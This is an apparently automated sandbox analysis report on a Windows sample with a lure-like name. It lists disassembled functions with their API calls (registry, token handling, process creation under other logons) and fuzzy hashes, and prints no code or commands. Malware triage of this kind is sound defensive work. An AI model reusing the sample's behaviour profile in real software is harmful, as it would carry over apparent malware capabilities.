Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 6fa5e95f46cbb1c7bbb336b86a067b4c737c9768bc912d3aa413fdd228a7220d
Instruction ID: e4ddf03cf64ce5a055fc84c59c6a0b2d596280ed09c84ece4b8b0a36d60567d8
Opcode Fuzzy Hash: 6fa5e95f46cbb1c7bbb336b86a067b4c737c9768bc912d3aa413fdd228a7220d
Instruction Fuzzy Hash: F7A1C031204340AFC324EF21C895E2B77A5AF84318F54895EF8565B3A3DB39ED46CB96

Function 004861FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,004782D9,004782D9,?,?,?,0048644F,00000001,00000001,8BE85006), ref: 00486258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0048644F,00000001,00000001,8BE85006,?,?,?), ref: 004862DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 004863D8
__freea.LIBCMT ref: 004863E5

Part of subcall function 00483820: RtlAllocateHeap.NTDLL(00000000,?,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6,?,00451129), ref: 00483852

__freea.LIBCMT ref: 004863EE
__freea.LIBCMT ref: 00486413

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 73edb10c4273dec0696220d0027b9a1dbd7624d047d977602fcd4d4bf6f5d580
Instruction ID: 0e2dfc48c25c535498d6a2989cdc784448652a73423253a941ae8f74cba80976
Opcode Fuzzy Hash: 73edb10c4273dec0696220d0027b9a1dbd7624d047d977602fcd4d4bf6f5d580
Instruction Fuzzy Hash: 1451E972A00216ABDB25AF64CC81EBF77A9EF44714F164A6AFC05D6241DB38DC41C768

Function 004DBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004DC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004DB6AE,?,?), ref: 004DC9B5
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DC9F1
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA68
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004DBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004DBD25
RegCloseKey.ADVAPI32(00000000), ref: 004DBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 004DBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004DBDF3
RegCloseKey.ADVAPI32(?), ref: 004DBDFF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: efbb5dc64fac69180e1331c15060be5fa6c2f9a7434cf46b401fcee0b0ef791f
Instruction ID: 0e3badcd4d3be27500865405fbd750d26fad8f53363a429a400666574536fc60
Opcode Fuzzy Hash: efbb5dc64fac69180e1331c15060be5fa6c2f9a7434cf46b401fcee0b0ef791f
Instruction Fuzzy Hash: 50816970208241EFC714DF24C895E2ABBE5FF84308F15895EF4558B2A2DB35ED09CB96

Function 004AF7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 004AF7B9
SysAllocString.OLEAUT32(00000001), ref: 004AF860
VariantCopy.OLEAUT32(004AFA64,00000000), ref: 004AF889
VariantClear.OLEAUT32(004AFA64), ref: 004AF8AD
VariantCopy.OLEAUT32(004AFA64,00000000), ref: 004AF8B1
VariantClear.OLEAUT32(?), ref: 004AF8BB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 8e4d3fb8d686812a7df766b3bf9756d2a95960d3285b9aa3b0b6528f76652730
Instruction ID: a38a8d2005bbb057a5ef94a5448e58b880ae93ae883f0cf7e011ae1f2fb8480e
Opcode Fuzzy Hash: 8e4d3fb8d686812a7df766b3bf9756d2a95960d3285b9aa3b0b6528f76652730
Instruction Fuzzy Hash: F251E971500300BADF107BA6D495B2AB3A8EF56314F54446BE805DF292D7789C49C79F

Function 004C910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00457620: _wcslen.LIBCMT ref: 00457625

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 004C94E5
_wcslen.LIBCMT ref: 004C9506
_wcslen.LIBCMT ref: 004C952D
GetSaveFileNameW.COMDLG32(00000058), ref: 004C9585

Strings

X, xrefs: 004C9412

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: bf382f8138f2241a813744b1795c1b3afe1c9867c8c690f5062cef8d4730070e
Instruction ID: 146d38e1470ffce4d23e0d4f68a89fa25b61a9aa0f7ce1dda677759399986edf
Opcode Fuzzy Hash: bf382f8138f2241a813744b1795c1b3afe1c9867c8c690f5062cef8d4730070e
Instruction Fuzzy Hash: 8BE1A235508340AFC754DF25C485F6AB7E4BF85318F04896EE8899B3A2DB38DD05CB9A

Function 0046920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

BeginPaint.USER32(?,?,?), ref: 00469241
GetWindowRect.USER32(?,?), ref: 004692A5
ScreenToClient.USER32(?,?), ref: 004692C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 004692D3
EndPaint.USER32(?,?,?,?,?), ref: 00469321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 004A71EA

Part of subcall function 00469339: BeginPath.GDI32(00000000), ref: 00469357

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: d782e2256e50f04570cfa898643b4311f12b110711a53e65a3527a0f10134d2a
Instruction ID: d9c5c0b5a9eec057a2b06e2d4b3d2f3a3d63b132c3acb47f432b403ad010e70d
Opcode Fuzzy Hash: d782e2256e50f04570cfa898643b4311f12b110711a53e65a3527a0f10134d2a
Instruction Fuzzy Hash: F841AF70104340AFD720DF25CCD4FAB7BA8EF6A324F04066AF954862A2D7749C46DB6A

Function 004C07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 004C080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 004C0847
EnterCriticalSection.KERNEL32(?), ref: 004C0863
LeaveCriticalSection.KERNEL32(?), ref: 004C08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 004C08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 004C0921

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 983455003e30685f233cbcddb26d4796b9f44dc458799bf72d5ad8d6abb8eb16
Instruction ID: 77d259b16aa309cea1122ccad5e799c40fe6d475c12d5cd9d84189210ba1369a
Opcode Fuzzy Hash: 983455003e30685f233cbcddb26d4796b9f44dc458799bf72d5ad8d6abb8eb16
Instruction Fuzzy Hash: 68417971900205EBDF14AF55DC85AAABB78FF04304F1080AAED009E297DB35DE65DBA8

Function 004E81DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,004AF3AB,00000000,?,?,00000000,?,004A682C,00000004,00000000,00000000), ref: 004E824C
EnableWindow.USER32(00000000,00000000), ref: 004E8272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 004E82D1
ShowWindow.USER32(00000000,00000004), ref: 004E82E5
EnableWindow.USER32(00000000,00000001), ref: 004E830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 004E832F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 81bd29b60db1a23124f62180f1a1aacee44767a34897f8fce9eef15d3972f626
Instruction ID: 096cd033775c9dd68cfa6def7160381438dd85d8521189acc42be66943904489
Opcode Fuzzy Hash: 81bd29b60db1a23124f62180f1a1aacee44767a34897f8fce9eef15d3972f626
Instruction Fuzzy Hash: B1419530601684AFDF25CF16C8D5BA67BE0BF16715F1842AEEA0C5F263C7365846CB58

Function 004B4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004B4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 004B4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 004B4CEA
_wcslen.LIBCMT ref: 004B4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 004B4D10
_wcsstr.LIBVCRUNTIME ref: 004B4D1A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: a5cfe697923386029937a345337af4da9bbbb32cf3d73783461cbfb38885520a
Instruction ID: 64a9a3d3cbeecfe59a9450fd3146b1a66104911eb4e08337836340722680171e
Opcode Fuzzy Hash: a5cfe697923386029937a345337af4da9bbbb32cf3d73783461cbfb38885520a
Instruction Fuzzy Hash: EC21C8726041407BEB155B39EC45ABB7FACDF85754F10803FF805CA293EA69DC0196B5

Function 004C581E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON

Download Yara Rule

APIs

Part of subcall function 00453AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00453A97,?,?,00452E7F,?,?,?,00000000), ref: 00453AC2

_wcslen.LIBCMT ref: 004C587B
CoInitialize.OLE32(00000000), ref: 004C5995
CoCreateInstance.OLE32(004EFCF8,00000000,00000001,004EFB68,?), ref: 004C59AE
CoUninitialize.OLE32 ref: 004C59CC

Strings

.lnk, xrefs: 004C5876, 004C58C1, 004C5985

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
String ID: .lnk
API String ID: 3172280962-24824748
Opcode ID: a6a27ee4b70e00131e71313f51c4fc942128644e5291513f09e52dcfe4bace71
Instruction ID: 868f4eb8516b47e9e21cdd2733ce6e092014fda19a46480986ed425de4facdb4
Opcode Fuzzy Hash: a6a27ee4b70e00131e71313f51c4fc942128644e5291513f09e52dcfe4bace71
Instruction Fuzzy Hash: 6ED154796046019FC704DF15C480E2EBBE1EF89319F14495EF8899B362DB39EC85CB96

Function 004B175D Relevance: 9.1, APIs: 6, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004B0FB4: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 004B0FCA
Part of subcall function 004B0FB4: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 004B0FD6
Part of subcall function 004B0FB4: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 004B0FE5
Part of subcall function 004B0FB4: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 004B0FEC
Part of subcall function 004B0FB4: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 004B1002

GetLengthSid.ADVAPI32(?,00000000,004B1335), ref: 004B17AE
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004B17BA
HeapAlloc.KERNEL32(00000000), ref: 004B17C1
CopySid.ADVAPI32(00000000,00000000,?), ref: 004B17DA
GetProcessHeap.KERNEL32(00000000,00000000,004B1335), ref: 004B17EE
HeapFree.KERNEL32(00000000), ref: 004B17F5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: db60fcfe99ecdefafef1dddc40ebad5bb1c6bc491f96d05461cd4c497a818088
Instruction ID: df5175da0ee120756aa19e040ece8c04dfe63c094472f9b436d909c99371a761
Opcode Fuzzy Hash: db60fcfe99ecdefafef1dddc40ebad5bb1c6bc491f96d05461cd4c497a818088
Instruction Fuzzy Hash: EA11AF32500205FFDB109FA4CC99BEFBBA9EF42355F50442AF4419B221CB399941CB68

Function 004B14CE Relevance: 9.1, APIs: 6, Instructions: 64processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 004B14FF
OpenProcessToken.ADVAPI32(00000000), ref: 004B1506
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 004B1515
CloseHandle.KERNEL32(00000004), ref: 004B1520
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004B154F
DestroyEnvironmentBlock.USERENV(00000000), ref: 004B1563

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 38a3659681915fffd1dbcec7f9576f025312ae3188af9ce659187c6eea261cf9
Instruction ID: 48a4b5c54220c7e989073a18a6b9a7867d6d1d9698669b5fda9f88c221f3b237
Opcode Fuzzy Hash: 38a3659681915fffd1dbcec7f9576f025312ae3188af9ce659187c6eea261cf9
Instruction Fuzzy Hash: ED11867210024AEBDF11CFA8DE89BDE3BA9EF48704F044026FE05A6160C3758E61DB64

Function 00473382 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00473379,00472FE5), ref: 00473390
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0047339E
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004733B7
SetLastError.KERNEL32(00000000,?,00473379,00472FE5), ref: 00473409

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ff16f01c8f95396232360bd21cc66b5e73cb08edb892f9206f3938fd67516851
Instruction ID: db0f3b5651bbe8d04bd1abea82e3e37667f0bbab7a9a18a1e5d4fac6a3a42ee1
Opcode Fuzzy Hash: ff16f01c8f95396232360bd21cc66b5e73cb08edb892f9206f3938fd67516851
Instruction Fuzzy Hash: 1201F532248311AEA6352F756CC95EB2E55DB1977B320C22FF818842F1EF1A5D06714C

Function 00482D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00485686,00493CD6,?,00000000,?,00485B6A,?,?,?,?,?,0047E6D1,?,00518A48), ref: 00482D78
_free.LIBCMT ref: 00482DAB
_free.LIBCMT ref: 00482DD3
SetLastError.KERNEL32(00000000,?,?,?,?,0047E6D1,?,00518A48,00000010,00454F4A,?,?,00000000,00493CD6), ref: 00482DE0
SetLastError.KERNEL32(00000000,?,?,?,?,0047E6D1,?,00518A48,00000010,00454F4A,?,?,00000000,00493CD6), ref: 00482DEC
_abort.LIBCMT ref: 00482DF2

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 774dd23fc16f8d0111d9d4cc2d04f52e2d57e9aee6db53340f253fa3e33dfeeb
Instruction ID: 52ac0d5e958260aac3dfb9ee8538e877c9859c93429aa0bb2d6699131bf99b44
Opcode Fuzzy Hash: 774dd23fc16f8d0111d9d4cc2d04f52e2d57e9aee6db53340f253fa3e33dfeeb
Instruction Fuzzy Hash: 78F02D7668550037C21237397E46E5F1D996FC2765F214C1FFC24962D2EFAC9802536D

Function 004E8A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00469639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00469693
Part of subcall function 00469639: SelectObject.GDI32(?,00000000), ref: 004696A2
Part of subcall function 00469639: BeginPath.GDI32(?), ref: 004696B9
Part of subcall function 00469639: SelectObject.GDI32(?,00000000), ref: 004696E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 004E8A4E
LineTo.GDI32(?,00000003,00000000), ref: 004E8A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 004E8A70
LineTo.GDI32(?,00000000,00000003), ref: 004E8A80
EndPath.GDI32(?), ref: 004E8A90
StrokePath.GDI32(?), ref: 004E8AA0

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 582d9e907fc10cf70b8646b1ca9138bac697fcba50469de805380e7ee40c0300
Instruction ID: f9f35fb3ad3d5f3b2ab96a3126711e0950422068464e0ba9980398f565392aad
Opcode Fuzzy Hash: 582d9e907fc10cf70b8646b1ca9138bac697fcba50469de805380e7ee40c0300
Instruction Fuzzy Hash: C211F77600018CFFDF129F91DC88EAA7F6CEB08354F008066FA199A1A1C771AD56DBA4

Function 004B51FD Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 004B5218
GetDeviceCaps.GDI32(00000000,00000058), ref: 004B5229
GetDeviceCaps.GDI32(00000000,0000005A), ref: 004B5230
ReleaseDC.USER32(00000000,00000000), ref: 004B5238
MulDiv.KERNEL32(000009EC,?,00000000), ref: 004B524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 004B5261

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

